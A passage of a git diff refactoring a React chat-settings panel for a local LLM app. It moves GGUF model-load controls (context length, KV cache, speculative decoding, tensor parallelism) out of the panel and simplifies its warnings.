-  ariaLabel?: string;
-  size?: number;
-  disabled?: boolean;
-}) {
-  const [focused, setFocused] = useState(false);
-  const [draft, setDraft] = useState("");
-  const cancelBlurCommitRef = useRef(false);
-
-  const commit = (raw: string) => {
-    const parsed = Number.parseFloat(raw);
-    if (!Number.isFinite(parsed)) {
-      return;
-    }
-    const final = snapToStep(parsed, step, min, max);
-    if (final !== value) {
-      onChange(final);
-    }
-  };
-
-  const displayed = focused ? draft : (displayValue ?? String(value));
-
-  return (
-    <input
-      type="text"
-      inputMode="decimal"
-      disabled={disabled}
-      size={sizeAttr}
-      /* Fixed 4ch pill; grows only when a longer value would clip. */
-      style={{ width: `calc(${Math.max(displayed.length, 4)}ch + 18px)` }}
-      value={displayed}
-      aria-label={ariaLabel}
-      onFocus={(e) => {
-        cancelBlurCommitRef.current = false;
-        setDraft(String(value));
-        setFocused(true);
-        // Defer select() so it runs after the value swap above.
-        const target = e.currentTarget;
-        requestAnimationFrame(() => target.select());
-      }}
-      onBlur={() => {
-        if (cancelBlurCommitRef.current) {
-          cancelBlurCommitRef.current = false;
-        } else {
-          commit(draft);
-        }
-        setFocused(false);
-      }}
-      onChange={(e) => setDraft(e.target.value)}
-      onKeyDown={(e) => {
-        if (e.key === "Enter") {
-          e.currentTarget.blur();
-        } else if (e.key === "Escape") {
-          cancelBlurCommitRef.current = true;
-          setDraft(String(value));
-          e.currentTarget.blur();
-        }
-      }}
-      className={cn("panel-number-input", className)}
-    />
-  );
-}
-
-function ParamSlider({
+export function ParamSlider({
   label,
   value,
   min,
@@ -257,6 +124,7 @@ function ParamSlider({
   displayValue,
   info,
   valueSize,
+  disabled,
 }: {
   label: string;
   value: number;
@@ -267,12 +135,13 @@ function ParamSlider({
   displayValue?: string;
   info?: ReactNode;
   valueSize?: number;
+  disabled?: boolean;
 }) {
   return (
     <div className="space-y-3.5">
       <div className="flex items-center justify-between gap-3">
         <div className="flex min-w-0 items-center gap-1.5">
-          <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+          <span className="min-w-0 text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
             {label}
           </span>
           {info && <InfoHint>{info}</InfoHint>}
@@ -286,6 +155,8 @@ function ParamSlider({
           displayValue={displayValue}
           ariaLabel={label}
           size={valueSize ?? 4}
+          className="panel-number-input"
+          disabled={disabled}
         />
       </div>
       <Slider
@@ -295,6 +166,7 @@ function ParamSlider({
         value={[value]}
         onValueChange={([v]) => onChange(snapToStep(v, step, min, max))}
         className="panel-slider"
+        disabled={disabled}
       />
     </div>
   );
@@ -377,15 +249,14 @@ function CollapsibleSection({
   };
 
   const headerClasses = cn(
-    "flex w-full items-center justify-between text-[12px] font-medium normal-case tracking-[0.04em] text-nav-fg-muted transition-colors focus-visible:outline-none focus-visible:ring-0",
+    "flex w-full items-center justify-between text-ui-12 font-medium normal-case tracking-[0.04em] text-nav-fg-muted transition-colors focus-visible:outline-none focus-visible:ring-0",
     first ? "pt-4 pb-5" : "py-5",
   );
 
   return (
     <div
       className={cn(
-        !first &&
-          "border-t border-black/[0.13] dark:border-white/[0.09]",
+        !first && "border-t border-black/[0.13] dark:border-white/[0.09]",
       )}
     >
       {labelHref ? (
@@ -457,6 +328,7 @@ interface ChatSettingsPanelProps {
   onOpenChange?: (open: boolean) => void;
   params: InferenceParams;
   onParamsChange: (params: InferenceParams) => void;
+  modelConfig?: ReactNode;
   isExternalModel?: boolean;
   /**
    * Sampling-param capabilities for the active external provider, or `null` for
@@ -471,21 +343,6 @@ interface ChatSettingsPanelProps {
    * Max Tokens floor in the slider.
    */
   externalProviderType?: string | null;
-  onReloadModel?: () => void;
-  /** The in-flight load (id + GGUF variant + native path token), or null when
-   *  idle. Used to show a loading state for the staged pick only — not for an
-   *  unrelated load or a cancel's background unload. */
-  loadingModel?: {
-    id: string;
-    ggufVariant?: string | null;
-    nativePathToken?: string | null;
-  } | null;
-  /** Loads the staged `pendingSelection` (deferred "Load on selection" flow). */
-  onLoadPendingModel?: () => void;
-  /** Download progress (0–1) for a staged GGUF being fetched, or null when idle. */
-  stagedDownloadFraction?: number | null;
-  /** Cancels the in-flight staged download (paired with abandoning the stage). */
-  onCancelStagedDownload?: () => void;
 }
 
 export function ChatSettingsPanel({
@@ -493,16 +350,12 @@ export function ChatSettingsPanel({
   onOpenChange,
   params,
   onParamsChange,
+  modelConfig = null,
   isExternalModel = false,
   providerCapabilities = null,
   activeExternalProvider = null,
   onExternalProviderChange,
   externalProviderType = null,
-  onReloadModel,
-  loadingModel = null,
-  onLoadPendingModel,
-  stagedDownloadFraction,
-  onCancelStagedDownload,
 }: ChatSettingsPanelProps) {
   // Local models show every knob; providerCapabilities is only consulted when
   // isExternalModel. Unknown providers fall back to the OpenAI-compat shape via
@@ -517,55 +370,23 @@ export function ChatSettingsPanel({
   const showPresencePenalty =
     !isExternalModel || Boolean(providerCapabilities?.presencePenalty);
   const isMobile = useIsMobile();
-  const pendingSelection = useChatRuntimeStore((s) => s.pendingSelection);
-  // "Loading" only when the in-flight load IS this staged pick (full id + GGUF
-  // variant + native token match), not an unrelated load or a cancel's
-  // background unload. The variant matters: a different quant of the same repo
-  // staged mid-load must not read as this one loading.
-  const stagedLoading =
-    loadingModel != null &&
-    pendingSelectionMatches(pendingSelection, {
-      id: loadingModel.id,
-      ggufVariant: loadingModel.ggufVariant,
-      nativePathToken: loadingModel.nativePathToken,
-    });
-  // Load settings are snapshotted at click time; lock them while loading.
-  const modelControlsDisabled = stagedLoading;
-  const abandonStagedModel = useChatRuntimeStore((s) => s.abandonStagedModel);
-  const resetModelSettingsToLoaded = useChatRuntimeStore(
-    (s) => s.resetModelSettingsToLoaded,
+  const isLoadedGguf = useChatRuntimeStore((s) => s.activeGgufVariant) != null;
+  const currentCheckpoint = params.checkpoint;
+  const ggufContextLength = useChatRuntimeStore((s) => s.ggufContextLength);
+  // Direct-file / custom-folder GGUFs load without a variant label but still
+  // report a GGUF context, so detect them via the context and the checkpoint
+  // suffix too (mirrors the chat page's activeModelIsGguf). Otherwise Max Tokens
+  // would fall back to params.maxSeqLength instead of the loaded GGUF context.
+  const isGguf =
+    isLoadedGguf ||
+    ggufContextLength != null ||
+    (currentCheckpoint?.toLowerCase().endsWith(".gguf") ?? false);
+  const ggufMaxContextLength = useChatRuntimeStore(
+    (s) => s.ggufMaxContextLength,
   );
-  // A staged GGUF pick (deferred load) shows the GGUF load knobs so they can be
-  // set before the single load.
-  const pendingIsGguf = isPendingGguf(pendingSelection);
-  // Short, human-readable name for the staged pick (HF ids carry an org prefix;
-  // native picks are already a display label). Drives the "staged, not loaded"
-  // callout so it's obvious the selection hasn't loaded yet.
-  const stagedLabel = (() => {
-    const id = pendingSelection?.id ?? "";
-    const slash = id.lastIndexOf("/");
-    const base = slash >= 0 ? id.slice(slash + 1) : id;
-    return base || id;
-  })();
-  const isLoadedGguf =
-    useChatRuntimeStore((s) => s.activeGgufVariant) != null;
-  // While a pick is staged the sheet configures *that* model, so its GGUF-ness
-  // (not the currently loaded model's) decides whether the GGUF-only controls
-  // show. Otherwise a staged non-GGUF Hub repo would inherit the loaded GGUF's
-  // context/KV/speculative controls.
-  const isGguf = pendingSelection != null ? pendingIsGguf : isLoadedGguf;
-  // The Model section (and Load button) shows for any staged pick, even when the
-  // currently active model is external.
-  const hasModelContent =
-    pendingSelection != null ||
-    (!isExternalModel && (isGguf || Boolean(params.checkpoint)));
+  const customContextLength = useChatRuntimeStore((s) => s.customContextLength);
   const speculativeType = useChatRuntimeStore((s) => s.speculativeType);
-  const setSpeculativeType = useChatRuntimeStore((s) => s.setSpeculativeType);
-  const loadedSpeculativeType = useChatRuntimeStore(
-    (s) => s.loadedSpeculativeType,
-  );
   const specFallbackReason = useChatRuntimeStore((s) => s.specFallbackReason);
-  // Only binary fallback states are solved by a newer prebuilt.
   const mtpUpdatable =
     specFallbackReason === "binary_no_mtp" ||
     specFallbackReason === "binary_outdated";
@@ -573,7 +394,10 @@ export function ChatSettingsPanel({
     status: llamaUpdateStatus,
     applying: llamaUpdating,
     apply: applyLlamaUpdate,
-  } = useLlamaUpdateCheck({ enabled: mtpUpdatable });
+  } = useLlamaUpdateCheck({
+    enabled: mtpUpdatable,
+    onReloadRequired: resyncInferenceStatusAfterServerModelChange,
+  });
   const handleMtpUpdate = useCallback(async () => {
     const result = await applyLlamaUpdate();
     if (result.ok) {
@@ -584,43 +408,27 @@ export function ChatSettingsPanel({
         `llama.cpp updated to ${result.tag ?? "the latest build"}.${reloadHint}`,
       );
     } else {
-      toast.error(`llama.cpp update failed: ${result.error ?? "unknown error"}`);
+      toast.error(
+        `llama.cpp update failed: ${result.error ?? "unknown error"}`,
+      );
     }
   }, [applyLlamaUpdate]);
-  const specDraftNMax = useChatRuntimeStore((s) => s.specDraftNMax);
-  const setSpecDraftNMax = useChatRuntimeStore((s) => s.setSpecDraftNMax);
-  const loadedSpecDraftNMax = useChatRuntimeStore(
-    (s) => s.loadedSpecDraftNMax,
-  );
-  const currentCheckpoint = params.checkpoint;
-  const ggufContextLength = useChatRuntimeStore((s) => s.ggufContextLength);
-  const ggufMaxContextLength = useChatRuntimeStore(
-    (s) => s.ggufMaxContextLength,
-  );
-  const ggufNativeContextLength = useChatRuntimeStore(
-    (s) => s.ggufNativeContextLength,
-  );
-  const kvCacheDtype = useChatRuntimeStore((s) => s.kvCacheDtype);
-  const setKvCacheDtype = useChatRuntimeStore((s) => s.setKvCacheDtype);
-  const applyRememberedLoadSettings = useChatRuntimeStore(
-    (s) => s.applyRememberedLoadSettings,
-  );
-  const loadedKvCacheDtype = useChatRuntimeStore((s) => s.loadedKvCacheDtype);
-  const tensorParallel = useChatRuntimeStore((s) => s.tensorParallel);
-  const setTensorParallel = useChatRuntimeStore((s) => s.setTensorParallel);
-  const loadedTensorParallel = useChatRuntimeStore(
-    (s) => s.loadedTensorParallel,
-  );
-  const chatTemplateOverride = useChatRuntimeStore(
-    (s) => s.chatTemplateOverride,
-  );
-  const loadedChatTemplateOverride = useChatRuntimeStore(
-    (s) => s.loadedChatTemplateOverride,
-  );
-  const customContextLength = useChatRuntimeStore((s) => s.customContextLength);
-  const setCustomContextLength = useChatRuntimeStore(
-    (s) => s.setCustomContextLength,
-  );
+  const loadedEffectiveContext = customContextLength ?? ggufContextLength;
+  const showSpecFallback =
+    !isExternalModel &&
+    isGguf &&
+    specFallbackReason != null &&
+    (speculativeType === "auto" ||
+      speculativeType === "mtp" ||
+      speculativeType === "mtp+ngram");
+  const showContextVramWarning =
+    !isExternalModel &&
+    isGguf &&
+    ggufMaxContextLength != null &&
+    loadedEffectiveContext != null &&
+    loadedEffectiveContext > ggufMaxContextLength;
+  const showLoadedDiagnostics = showSpecFallback || showContextVramWarning;
+  const hasModelContent = showLoadedDiagnostics;
   const setActivePresetSource = useChatRuntimeStore(
     (s) => s.setActivePresetSource,
   );
@@ -631,49 +439,7 @@ export function ChatSettingsPanel({
   const setActivePreset = useChatRuntimeStore((s) => s.setActivePreset);
   const settingsHydrated = useChatRuntimeStore((s) => s.settingsHydrated);
 
-  // A staged (not-yet-loaded) GGUF carries its own header context length on
-  // pendingSelection, so the slider can use the staged model's real ceiling
-  // without reading the loaded model's `ggufContextLength`.
-  const stagedContextLength = pendingSelection?.contextLength ?? null;
-  // "Remember settings next time" tick for a staged model. Seeds the store from
-  // the saved per-model settings on stage, so the sheet opens with what was used
-  // last time; the tick reflects whether a saved entry exists.
-  const [remember, setRemember] = useState(false);
-  // Keyed per quant: a different variant of the same repo has its own settings.
-  const pendingKey = pendingSelection
-    ? rememberedLoadSettingsKey(pendingSelection)
-    : null;
-  useEffect(() => {
-    if (!pendingKey) return;
-    const saved = loadRememberedLoadSettings(pendingKey);
-    setRemember(saved != null);
-    if (saved) applyRememberedLoadSettings(saved);
-  }, [pendingKey, applyRememberedLoadSettings]);
-  // While staging, the sheet reflects the STAGED model, so its header context
-  // takes precedence over the loaded model's (which may differ or be larger).
-  const baseContext = pendingIsGguf ? stagedContextLength : ggufContextLength;
-  const baseNativeContext = pendingIsGguf
-    ? stagedContextLength
-    : ggufNativeContextLength;
-  // Context controls render once we actually have a ceiling: for a staged GGUF,
-  // once its header metadata arrives (post-download); otherwise post-load.
-  const showContextControl = pendingIsGguf
-    ? stagedContextLength != null
-    : isLoadedGguf;
-  const stagedDownloading =
-    stagedDownloadFraction != null && stagedDownloadFraction < 1;
-  const ctxDisplayValue = customContextLength ?? baseContext ?? "";
-  const ctxMaxValue = baseNativeContext ?? baseContext ?? null;
-  const kvDirty = kvCacheDtype !== loadedKvCacheDtype;
-  const ctxDirty = customContextLength !== null;
-  const specDirty = speculativeType !== loadedSpeculativeType;
-  const specDraftDirty = specDraftNMax !== loadedSpecDraftNMax;
-  const tpDirty = tensorParallel !== (loadedTensorParallel ?? false);
-  // A saved chat-template override is a reload-time setting too, so surface
-  // Apply for a template-only edit (otherwise it could never be applied).
-  const templateDirty = chatTemplateOverride !== loadedChatTemplateOverride;
-  const modelSettingsDirty =
-    kvDirty || ctxDirty || specDirty || specDraftDirty || tpDirty || templateDirty;
+  const baseContext = ggufContextLength;
   const [presetNameInput, setPresetNameInput] = useState(activePreset);
   const [systemPromptEditorOpen, setSystemPromptEditorOpen] = useState(false);
   const [systemPromptDraft, setSystemPromptDraft] = useState("");
@@ -699,8 +465,7 @@ export function ChatSettingsPanel({
       BUILTIN_PRESETS.find((preset) => preset.name === activePreset) ?? null,
     [activePreset],
   );
-  const hasUnsavedPresetChanges = useMemo(
-    () => {
+  const hasUnsavedPresetChanges = useMemo(() => {
       if (activePresetDefinition == null) {
         return false;
       }
@@ -708,9 +473,7 @@ export function ChatSettingsPanel({
         return activePresetSource === "modified";
       }
       return !isSamePresetConfig(activePresetDefinition.params, params);
-    },
-    [activePresetDefinition, activePresetSource, params],
-  );
+  }, [activePresetDefinition, activePresetSource, params]);
   const presetSaveState = useMemo(
     () =>
       getPresetSaveState({
@@ -739,6 +502,14 @@ export function ChatSettingsPanel({
   const externalSelection = currentCheckpoint
     ? parseExternalModelId(currentCheckpoint)
     : null;
+  const maxTokensMax = isExternalModel
+      ? getExternalMaxOutputTokens(
+          externalProviderType,
+          externalSelection?.modelId,
+        )
+      : isGguf && baseContext
+        ? baseContext
+        : Math.max(64, params.maxSeqLength);
   const showOpenAICodeExecSection =
     activeExternalProvider != null &&
     providerSupportsBuiltinCodeExecution(
@@ -821,8 +592,7 @@ export function ChatSettingsPanel({
       return;
     }
     const fallbackPreset =
-      BUILTIN_PRESETS.find((preset) => preset.name === "Default") ??
-      null;
+      BUILTIN_PRESETS.find((preset) => preset.name === "Default") ?? null;
     const next = customPresets.filter((preset) => preset.name !== name);
     setCustomPresets(next);
     if (activePreset === name) {
@@ -925,20 +695,20 @@ export function ChatSettingsPanel({
       {/* Header is outside the scroll area so the scrollbar never shifts the close button. */}
       <div className="flex h-[48px] shrink-0 items-start gap-2 bg-panel-surface pl-[18px] pr-[16px] pt-[11px]">
         {isMobile ? (
-          <span className="flex h-[34px] flex-1 items-center text-[16px] font-semibold tracking-[0em] dark:tracking-[0.015em] text-nav-fg">
+          <span className="flex h-[34px] flex-1 items-center text-ui-16 font-semibold tracking-[0em] dark:tracking-[0.015em] text-nav-fg">
             Run settings
           </span>
         ) : (
           <>
-            <span className="flex h-[34px] flex-1 items-center text-[16px] font-semibold tracking-[0em] dark:tracking-[0.015em] text-nav-fg">
+            <span className="flex h-[34px] flex-1 items-center text-ui-16 font-semibold tracking-[0em] dark:tracking-[0.015em] text-nav-fg">
               Run settings
             </span>
             <Tooltip>
-              <TooltipPrimitive.Trigger asChild>
+                <TooltipPrimitive.Trigger asChild={true}>
                 <button
                   type="button"
                   onClick={() => onOpenChange?.(false)}
-                  className="flex h-[34px] w-[34px] cursor-pointer items-center justify-center rounded-full text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  className="flex h-[34px] w-[34px] cursor-pointer items-center justify-center rounded-full text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                   aria-label="Close run settings"
                 >
                   <HugeiconsIcon
@@ -965,377 +735,57 @@ export function ChatSettingsPanel({
         className="run-settings-scroll relative min-h-0 flex-1 overflow-y-auto"
       >
       <div className="px-[18px] pt-3">
-        {hasModelContent && (
-        <CollapsibleSection label="Model" defaultOpen={true} first>
-          <div className="flex flex-col gap-4 pt-1">
-            {pendingSelection && (
-              <Alert className="rounded-[14px] border-primary/30 bg-primary/5 px-3 py-2">
-                <AlertTitle className="text-[12px] font-medium">
-                  {stagedLoading
-                    ? `Loading ${stagedLabel}…`
-                    : `${stagedLabel} is staged, not loaded yet`}
-                </AlertTitle>
-                <AlertDescription className="text-[11.5px] leading-[1.45] text-muted-foreground">
-                  {stagedLoading
-                    ? "Applying your settings."
-                    : "Set the options below, then choose Load model to load it."}
-                </AlertDescription>
-              </Alert>
-            )}
-            {isGguf && (
-              <>
-                {showContextControl && (
-                <div className="space-y-3.5">
-                  <div className="flex items-center justify-between gap-3">
-                    <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
-                      Context Length
-                    </span>
-                    <NumericValueInput
-                      value={
-                        typeof ctxDisplayValue === "number"
-                          ? ctxDisplayValue
-                          : (baseContext ?? 0)
-                      }
-                      min={128}
-                      max={ctxMaxValue ?? undefined}
-                      step={1}
-                      onChange={(v) => {
-                        setCustomContextLength(
-                          v === (baseContext ?? 0) ? null : v,
-                        );
-                      }}
-                      ariaLabel="Context Length"
-                      size={8}
-                      disabled={modelControlsDisabled}
-                    />
-                  </div>
-                  <Slider
-                    min={1024}
-                    max={ctxMaxValue ?? 4096}
-                    step={1024}
-                    value={[
-                      Math.min(
-                        typeof ctxDisplayValue === "number"
-                          ? ctxDisplayValue
-                          : (baseContext ?? 4096),
-                        ctxMaxValue ?? 4096,
-                      ),
-                    ]}
-                    onValueChange={([v]) => {
-                      const snapped = Math.round(v);
-                      setCustomContextLength(
-                        snapped === (baseContext ?? 0) ? null : snapped,
-                      );
-                    }}
-                    className="panel-slider"
-                    disabled={modelControlsDisabled}
-                  />
-                  {ggufMaxContextLength != null &&
-                    typeof ctxDisplayValue === "number" &&
-                    ctxDisplayValue > ggufMaxContextLength && (
-                      <p className="text-[11px] text-amber-500">
-                        Exceeds estimated VRAM capacity (
-                        {ggufMaxContextLength.toLocaleString()} tokens). The
-                        model may use system RAM.
-                      </p>
-                    )}
-                </div>
-                )}
-                <div className="flex items-center justify-between gap-3">
-                  <div className="flex min-w-0 items-center gap-1.5">
-                    <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
-                      KV Cache Dtype
-                    </span>
-                    <InfoHint>
-                      Lower KV cache precision to save VRAM at the cost of some
-                      quality. f16/bf16 are full precision; q8_0/q5_1/q4_1 are
-                      quantized.
-                    </InfoHint>
-                  </div>
-                  <div className="flex shrink-0 items-center gap-1.5">
-                    <Select
-                      disabled={modelControlsDisabled}
-                      value={kvCacheDtype ?? "f16"}
-                      onValueChange={(v) => {
-                        setKvCacheDtype(v === "f16" ? null : v);
-                      }}
-                    >
-                      <SelectTrigger
-                        animateRadius={false}
-                        icon={ChevronDownStandardIcon}
-                        iconClassName="size-3.5"
-                        className="grid h-7 w-[64px] min-w-0 grid-cols-[minmax(0,1fr)_auto] items-center gap-1 rounded-full border-transparent bg-black/[0.04] dark:bg-white/[0.05] hover:bg-black/[0.06] dark:hover:bg-white/[0.1] pl-3 pr-2 py-0 text-[13px]! font-medium text-nav-fg focus-visible:ring-0 focus-visible:border-transparent [&_[data-slot=select-value]]:min-w-0 [&_[data-slot=select-value]]:truncate [&>svg]:shrink-0"
-                      >
-                        <SelectValue />
-                      </SelectTrigger>
-                      <SelectContent className="menu-soft-surface ring-0 border-0 rounded-lg">
-                        <SelectItem value="f16">f16</SelectItem>
-                        <SelectItem value="bf16">bf16</SelectItem>
-                        <SelectItem value="q8_0">q8_0</SelectItem>
-                        <SelectItem value="q5_1">q5_1</SelectItem>
-                        <SelectItem value="q4_1">q4_1</SelectItem>
-                      </SelectContent>
-                    </Select>
-                  </div>
-                </div>
-                {isGguf && (
-                  <>
-                <div className="flex items-center justify-between gap-3">
-                  <div className="flex min-w-0 items-center gap-1.5">
-                    <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
-                      Speculative Decoding
-                    </span>
-                    <InfoHint>
-                      Faster generation with 0% accuracy hit. Auto picks
-                      MTP / ngram-mod based on the model and platform.
-                      Pick MTP, Ngram, or MTP+Ngram to force a specific
-                      strategy on both GPU and CPU.
-                    </InfoHint>
-                  </div>
-                  <div className="flex shrink-0 items-center gap-1.5">
-                    <Select
-                      disabled={modelControlsDisabled}
-                      value={speculativeType ?? "auto"}
-                      onValueChange={(v) => {
-                        setSpeculativeType(v);
-                        if (v !== "mtp" && v !== "mtp+ngram") {
-                          setSpecDraftNMax(null);
-                        }
-                      }}
-                    >
-                      <SelectTrigger
-                        animateRadius={false}
-                        icon={ChevronDownStandardIcon}
-                        iconClassName="size-3.5"
-                        className="grid h-7 w-[124px] min-w-0 grid-cols-[minmax(0,1fr)_auto] items-center gap-1 rounded-full border-transparent bg-black/[0.04] dark:bg-white/[0.05] hover:bg-black/[0.06] dark:hover:bg-white/[0.1] pl-3 pr-2 py-0 text-[13px]! font-medium text-nav-fg focus-visible:ring-0 focus-visible:border-transparent [&_[data-slot=select-value]]:min-w-0 [&_[data-slot=select-value]]:truncate [&>svg]:shrink-0"
-                        data-test-id="speculative-type-select"
-                      >
-                        <SelectValue />
-                      </SelectTrigger>
-                      <SelectContent className="menu-soft-surface ring-0 border-0 rounded-lg">
-                        <SelectItem value="auto">Auto</SelectItem>
-                        <SelectItem value="mtp">MTP</SelectItem>
-                        <SelectItem value="ngram">Ngram</SelectItem>
-                        <SelectItem value="mtp+ngram">MTP+Ngram</SelectItem>
-                        <SelectItem value="off">Off</SelectItem>
-                      </SelectContent>
-                    </Select>
-                  </div>
-                </div>
-                {specFallbackReason &&
-                  (speculativeType === "auto" ||
-                    speculativeType === "mtp" ||
-                    speculativeType === "mtp+ngram") && (
-                    <div className="rounded-lg bg-amber-500/[0.08] px-3 py-2 text-[12px] leading-[1.4] text-nav-fg/80">
-                      <p>
-                        {specFallbackReason === "mla_mtp_disabled"
-                          ? "MTP is disabled by default for this model architecture because it currently runs slower than standard decoding. Select MTP above to force it."
-                          : specFallbackReason === "runtime_error"
-                          ? "MTP could not start for this model on the installed llama.cpp build, so it is running without speculative decoding."
-                          : specFallbackReason === "drafter_not_found"
-                            ? "This model supports MTP, but its drafter file could not be downloaded, so MTP is off and it falls back to n-gram speculative decoding where the llama.cpp build supports it. Check your network connection or Hugging Face access, then reload the model to retry the drafter."
-                            : "MTP is not available in the installed llama.cpp build, so this model is running without it." +
-                              (llamaUpdateStatus?.update_available
+        {(hasModelContent || modelConfig) && (
+              <CollapsibleSection label="Model" defaultOpen={true} first={true}>
+            <div className="flex flex-col gap-3 pt-1">
+              {modelConfig}
+              {showSpecFallback && (
+                <div className="rounded-lg bg-amber-500/[0.08] px-3 py-2 text-ui-12 leading-[1.4] text-nav-fg/80">
+                  <p>
+                    {specFallbackReason === "mla_mtp_disabled"
+                      ? "MTP is disabled by default for this model architecture because it currently runs slower than standard decoding. Choose MTP in the model picker to force it."
+                      : specFallbackReason === "runtime_error"
+                        ? "MTP could not start for this model on the installed llama.cpp build, so it is running without speculative decoding."
+                        : specFallbackReason === "drafter_not_found"
+                          ? "This model supports MTP, but its drafter file could not be downloaded, so MTP is off and it falls back to n-gram speculative decoding where the llama.cpp build supports it. Check your network connection or Hugging Face access, then reload the model to retry the drafter."
+                          : `MTP is not available in the installed llama.cpp build, so this model is running without it.${
+                              llamaUpdateStatus?.update_available
                                 ? " Update llama.cpp to enable it."
-                                : "")}
-                      </p>
-                      {mtpUpdatable && llamaUpdateStatus?.update_available && (
-                        <Button
-                          size="sm"
-                          className="corner-squircle mt-2 h-7 text-[12px]"
-                          onClick={handleMtpUpdate}
-                          disabled={llamaUpdating}
-                          data-test-id="mtp-update-button"
-                        >
-                          {llamaUpdating ? "Updating..." : "Update llama.cpp"}
-                        </Button>
-                      )}
-                    </div>
-                  )}
-                {(speculativeType === "mtp" ||
-                  speculativeType === "mtp+ngram") && (
-                  <div className="flex items-center justify-between gap-3">
-                    <div className="flex min-w-0 items-center gap-1.5">
-                      <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
-                        Draft Tokens
-                      </span>
-                      <InfoHint>
-                        Max MTP draft tokens per step
-                        (--spec-draft-n-max). Lower = less wasted
-                        draft decode; higher = bigger speedup when
-                        acceptance stays high. Default: 2 on GPU,
-                        3 on CPU/Mac.
-                      </InfoHint>
-                    </div>
-                    <input
-                      type="number"
-                      disabled={modelControlsDisabled}
-                      min={1}
-                      max={16}
-                      step={1}
-                      value={specDraftNMax ?? ""}
-                      placeholder="auto"
-                      onChange={(e) => {
-                        const raw = e.target.value;
-                        if (raw === "") {
-                          setSpecDraftNMax(null);
-                          return;
-                        }
-                        const parsed = Number.parseInt(raw, 10);
-                        if (Number.isFinite(parsed)) {
-                          const clamped = Math.max(1, Math.min(16, parsed));
-                          setSpecDraftNMax(clamped);
-                        }
-                      }}
-                      data-test-id="spec-draft-n-max-input"
-                      aria-label="Speculative decoding draft tokens"
-                      className="h-7 w-[76px] rounded-full border-transparent bg-black/[0.04] dark:bg-white/[0.05] hover:bg-black/[0.06] dark:hover:bg-white/[0.1] pl-3 pr-2 py-0 text-[13px] font-medium text-nav-fg outline-none focus-visible:ring-0"
-                    />
-                  </div>
-                )}
-                  </>
-                )}
-                <div className="flex items-center justify-between gap-3">
-                  <div className="flex min-w-0 items-center gap-1.5">
-                    <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
-                      Tensor Parallelism
-                    </span>
-                    <InfoHint>
-                      No effect on a single GPU. On multi-GPU setups, improves
-                      tokens/sec during generation when using dense models. MoE
-                      models don't benefit and can be much slower.
-                    </InfoHint>
-                  </div>
-                  <Switch
-                    className="panel-switch shrink-0"
-                    checked={tensorParallel}
-                    onCheckedChange={setTensorParallel}
-                    disabled={modelControlsDisabled}
-                    data-test-id="tensor-parallel-switch"
-                  />
-                </div>
-              </>
-            )}
-            {/* No persistent "enable custom code" toggle: it is consented per model
-                via the load-time review dialog. */}
-            {/* Apply/Reset belongs to the model-reload settings above (context
-                length, KV cache, speculative decoding). Render it here, before
-                the Chat Template row, so it never reads as attached to Chat
-                Template (which is edited via its own dialog). When a model is
-                staged (deferred load), Load/Cancel takes its place: there's
-                nothing loaded to "apply" against yet. */}
-            {pendingSelection ? (
-              <div className="flex flex-col gap-4">
-                {stagedDownloading && (
-                  <p className="text-[11px] text-muted-foreground">
-                    Downloading…{" "}
-                    {Math.round((stagedDownloadFraction ?? 0) * 100)}%
+                                : ""
+                            }`}
                   </p>
-                )}
-                <label className="flex cursor-pointer items-center gap-2 pb-1.5 text-[12px] text-muted-foreground">
-                  <Checkbox
-                    className="size-3.5 rounded-full [&_[data-slot=checkbox-indicator]_svg]:size-2.5"
-                    checked={remember}
-                    onCheckedChange={(v) => setRemember(v === true)}
-                  />
-                  Remember settings next time
-                </label>
-                {stagedLoading ? (
-                  // Mid-load: nothing to load or abandon until it settles, so disable.
-                  <Button
-                    type="button"
-                    disabled
-                    size="sm"
-                    className="h-9 w-full rounded-full text-[13px] font-medium tracking-nav bg-primary text-primary-foreground hover:bg-primary/90"
-                  >
-                    <Spinner className="size-3.5" />
-                    Loading…
-                  </Button>
-                ) : (
-                  <div className="grid grid-cols-2 gap-3">
+                  {mtpUpdatable && llamaUpdateStatus?.update_available && (
                     <Button
-                      type="button"
-                      onClick={() => {
-                        // Persist (or clear) this model's load knobs before loading.
-                        // Context is stored as the override (null = auto), never the
-                        // resolved native value, so restoring can't force an OOM.
-                        const pid = pendingSelection
-                          ? rememberedLoadSettingsKey(pendingSelection)
-                          : null;
-                        if (pid) {
-                          if (remember) {
-                            saveRememberedLoadSettings(pid, {
-                              contextLength: customContextLength,
-                              kvCacheDtype,
-                              speculativeType,
-                              specDraftNMax,
-                              tensorParallel,
-                            });
-                          } else {
-                            clearRememberedLoadSettings(pid);
-                          }
-                        }
-                        onLoadPendingModel?.();
-                      }}
-                      // Disabled while a different model is mid-load: selectModel
-                      // refuses a concurrent load, so the click could only toast.
-                      disabled={stagedDownloading || loadingModel != null}
                       size="sm"
-                      className="h-9 w-full rounded-full text-[13px] font-medium tracking-nav bg-primary text-primary-foreground hover:bg-primary/90"
+                      className="corner-squircle mt-2 h-7 text-ui-12"
+                      onClick={handleMtpUpdate}
+                      disabled={llamaUpdating}
+                      data-test-id="mtp-update-button"
                     >
-                      {loadingModel != null ? "Another model loading…" : "Load model"}
+                      {llamaUpdating ? "Updating..." : "Update llama.cpp"}
                     </Button>
-                    <Button
-                      type="button"
-                      variant="outline"
-                      size="sm"
-                      onClick={() => {
-                        // Cancel abandons the stage; if a download is mid-flight,
-                        // stop it too rather than leaving it running headless.
-                        if (stagedDownloading) onCancelStagedDownload?.();
-                        abandonStagedModel();
-                      }}
-                      className="h-9 w-full rounded-full text-[13px] font-medium tracking-nav text-muted-foreground"
-                    >
-                      Cancel
-                    </Button>
-                  </div>
-                )}
-              </div>
-            ) : modelSettingsDirty ? (
-              <div className="flex flex-wrap gap-1.5">
-                <Button
-                  type="button"
